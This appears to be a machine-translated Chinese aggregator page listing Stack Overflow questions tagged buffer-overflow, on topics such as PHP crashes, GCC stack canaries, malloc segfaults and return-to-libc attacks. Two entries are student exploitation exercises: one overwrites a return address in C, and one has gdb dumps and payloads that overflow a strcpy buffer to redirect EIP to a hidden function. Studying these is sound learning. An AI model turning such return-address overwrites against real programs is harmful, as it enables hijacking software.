标签: buffer-overflow

导致PHP崩溃

PHP如何导致内存泄漏,缓冲区溢出,堆栈溢出以及此类任何其他错误?PHP甚至会导致这样的错误吗?

php stack-overflow memory-leaks buffer-overflow

13
推荐指数
1
解决办法
433
查看次数

在完全托管的asp.net c#web应用程序中是否可以进行缓冲区溢出/溢出

完全托管的asp.net Web门户网站中是否存在缓冲区溢出/溢出漏洞.如果可以,则可以对其进行测试.

c# asp.net buffer-overflow buffer-overrun

12
推荐指数
2
解决办法
7570
查看次数

如何跳过在C中执行缓冲区溢出的行

我想跳过C中的一行x=1;,主要部分中的行使用bufferoverflow; 但是,我不知道为什么我不能跳过的地址4002f4下一个地址4002fb尽管如此,我就指望7个字节形式的事实<main+35><main+42>.

我还在Debian和AMD环境中配置了randomniZation和execstack环境的选项,但我还是得到了x=1;.这个程序有什么问题?

我用dba来调试堆栈和内存地址:

0x00000000004002ef <main+30>:    callq  0x4002a4 **<function>**  
**0x00000000004002f4** <main+35>:    movl   $0x1,-0x4(%rbp)  
**0x00000000004002fb** <main+42>:    mov    -0x4(%rbp),%esi  
0x00000000004002fe <main+45>:    mov    $0x4629c4,%edi  

void function(int a, int b, int c)  
{
  char buffer[5];
  int *ret;

  ret = buffer + 12;
  (*ret) += 8; 
}

int main()
{
   int x = 0; 
   function(1, 2, 3);
   x = 1;
   printf("x = %i \n", x);  
   return 0;  
}
Run Code Online (Sandbox Code Playgroud)

c cracking buffer-overflow

12
推荐指数
1
解决办法
2527
查看次数

利用缓冲区溢出

为了我的学习,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为"目标"的"秘密"函数

这是我用于在i686上进行测试的代码

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}
Run Code Online (Sandbox Code Playgroud)

任务1:创建有效负载以便调用target().通过将EIP替换为目标函数的地址,这很容易做到.

这是缓冲区的外观

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Run Code Online (Sandbox Code Playgroud)

我使用的有效负载是:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)

这样可以正常工作,但会因分段错误而停止.

任务2:以不会导致分段错误的方式修改有效负载

这是我被困的地方.显然它会导致分段错误,因为我们不使用调用指令调用目标,因此没有有效的返回地址.

我试图在堆栈上添加返回地址,但这没有帮助

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)

也许有人可以帮我解决这个问题.可能我还要添加保存的主要EBP?

我附上了程序的objdump

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec …
Run Code Online (Sandbox Code Playgroud)

c x86 buffer-overflow

12
推荐指数
1
解决办法
1282
查看次数

Malloc分段错误

以下是发生分段错误的代码段(不会调用perror):

job = malloc(sizeof(task_t));
if(job == NULL)
    perror("malloc");
Run Code Online (Sandbox Code Playgroud)

更确切地说,gdb说segfault__int_malloc调用内部发生,这是一个子例程调用malloc.

由于malloc函数与其他线程并行调用,最初我认为它可能是问题所在.我使用的是glibc 2.19版.

数据结构:

typedef struct rv_thread thread_wrapper_t;

typedef struct future
{
  pthread_cond_t wait;
  pthread_mutex_t mutex;
  long completed;
} future_t;

typedef struct task
{
  future_t * f;
  void * data;
  void *
  (*fun)(thread_wrapper_t *, void *);
} task_t;

typedef struct
{
  queue_t * queue;
} pool_worker_t;

typedef struct
{
  task_t * t;
} sfuture_t;

struct rv_thread
{
  pool_worker_t * pool;
};
Run Code Online (Sandbox Code Playgroud)

现在未来的实施:

future_t *
create_future()
{ …
Run Code Online (Sandbox Code Playgroud)

c stack-overflow malloc buffer-overflow segmentation-fault

11
推荐指数
2
解决办法
4万
查看次数

海湾合作委员会是否会产生金丝雀?

我的gcc版本是4.8.2,操作系统是ubuntu 14.04(64位).我发现有时gcc自动生成金丝雀有时候不做缓冲区溢出保护,为什么?

生成金丝雀的情况:当SIZE是四的倍数时

#include<stdio.h>
#define SIZE 4

int main()
{
    char s[SIZE];
    scanf("%s", s);
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

asm在gcc -c -g -Wa,-a,-ad之后

...
   4:a.c           **** int main()
   5:a.c           **** {
  13                    .loc 1 5 0
  14                    .cfi_startproc
  15 0000 55            pushq   %rbp
  16                    .cfi_def_cfa_offset 16
  17                    .cfi_offset 6, -16
  18 0001 4889E5        movq    %rsp, %rbp
  19                    .cfi_def_cfa_register 6
  20 0004 4883EC10      subq    $16, %rsp
  21                    .loc 1 5 0
  22 0008 64488B04      movq    %fs:40, %rax
  22      25280000 
  22      00
  23 0011 …
Run Code Online (Sandbox Code Playgroud)

c compiler-construction assembly gcc buffer-overflow

11
推荐指数
1
解决办法
6890
查看次数

Android App崩溃.读取输入流时出错

Android应用程序经常崩溃,以下是来自logcat的日志.

com.google.android.apps.gsa.shared.speech.ag:在com.google.android.apps上从com.google.android.apps.gsa.staticplugins.recognizer.iaa(SourceFile:342)的输入流中读取错误位于java.util.concurrent.Executors的.gsa.staticplugins.recognizer.ia $ 1.run(SourceFile:1367)java.util.concurrent.FutureTask.run上的$ RunnableAdapter.call(Executors.java:428)(FutureTask.java: 237)在java.util的java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1133)的com.google.android.apps.gsa.shared.util.concurrent.a.ak.run(SourceFile:66) .concurrent.ThreadPoolExecutor $ Worker.run(ThreadPoolExecutor.java:607)at java.lang.Thread.run(Thread.java:761)at com.google.android.apps.gsa.shared.util.concurrent.a.ad $ 1.run(SourceFile:85)引起:com.google.android.apps.gsa.shared.exception.GsaIOException:错误代码:393238 | 缓冲区溢出,没有可用空间.com.google.android.apps.gsa.speech.audio.Tee.g(SourceFile:2531)at com.google.android.apps.gsa.speech.audio.ap.read(SourceFile:555)at java.io com.google.android.apps.gss.csa. java.util.concurrent.Executors $ 1.run(SourceFile:471)在com.google.android的java.util.concurrent.FutureTask.run(FutureTask.java:237)上的$ RunnableAdapter.call(Executors.java:428) .coms.gss..shared.util.concurrent.a.ak.run(SourceFile:66)at com.google.android.apps.gsa.shared.util.concurrent.a.ax.run(SourceFile:139)at com .google.android.apps.gsa.shared.util.concurrent.a.ax.run(SourceFile:139),位于java.util.concurrent.ThreadPoolExecutor的java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1133) $ Worker.run(ThreadPoolExecutor.java:607)位于com.google.android.apps.gsa.shared.util.concurrent.a.ad $ 1.run的java.lang.Thread.run(Thread.java:761)的SourceFile:85)

 

任何答案都是高度重视的.

将理解以下错误的解释.

Caused by: com.google.android.apps.gsa.shared.exception.GsaIOException: Error code: 393238 | Buffer overflow, no available space.
Run Code Online (Sandbox Code Playgroud)

crash android buffer-overflow android-studio

11
推荐指数
1
解决办法
5682
查看次数

- 缓冲区溢出和返回libc攻击之间的区别

我想理解这两种攻击之间的确切区别.据我所读:

缓冲区溢出:它覆盖堆栈上的ret地址,指向插入恶意代码的代码的另一部分.如此有效 - 在这里我们需要修改程序的源代码来实际执行攻击.

返回Libc-这里不使用修改源代码,而是使用C库提供的运行时函数调用(比如打开shell).这里用于函数调用的参数也在覆盖缓冲区中传递,最后在堆栈的ret部分之后.

以上是准确的描述吗?

另一个相关问题 - 是否有可能在没有实际修改原始程序的源代码的情况下进行缓冲区溢出攻击?可能是我们编写一个新程序并允许它修改某些内存部分(这是原始程序损坏的堆栈中的新的ret地址).然后,我认为这可能是不可能的,因为内核中的进程之间提供了内存保护.

c security buffer-overflow shellcode

10
推荐指数
1
解决办法
7625
查看次数

如何确定分配的C缓冲区的大小?

我有一个缓冲区,想要做一个测试,看看缓冲区是否有足够的容量,我可以找到我可以添加到缓冲区的元素数量.

char *buffer = (char *)malloc(sizeof(char) * 10);
Run Code Online (Sandbox Code Playgroud)

做一个

int numElements = sizeof(buffer); 
Run Code Online (Sandbox Code Playgroud)

不回10,有关如何实现这一点的任何想法?

c malloc buffer buffer-overflow

10
推荐指数
4
解决办法
5万
查看次数

Valgrind不会检测缓冲区溢出

#include <stdio.h>
main()
{     
    char buf[8];
    sprintf(buf,"AAAA%3s","XXssssssssXXXsssssXXX");
    printf("%s\n",buf);
}
Run Code Online (Sandbox Code Playgroud)

我希望valgrind能够使用上面的代码检测缓冲区溢出.但它不会报告任何错误或警告.我需要为此启用任何特殊标志吗?

c valgrind buffer-overflow

10
推荐指数
1
解决办法
1409
查看次数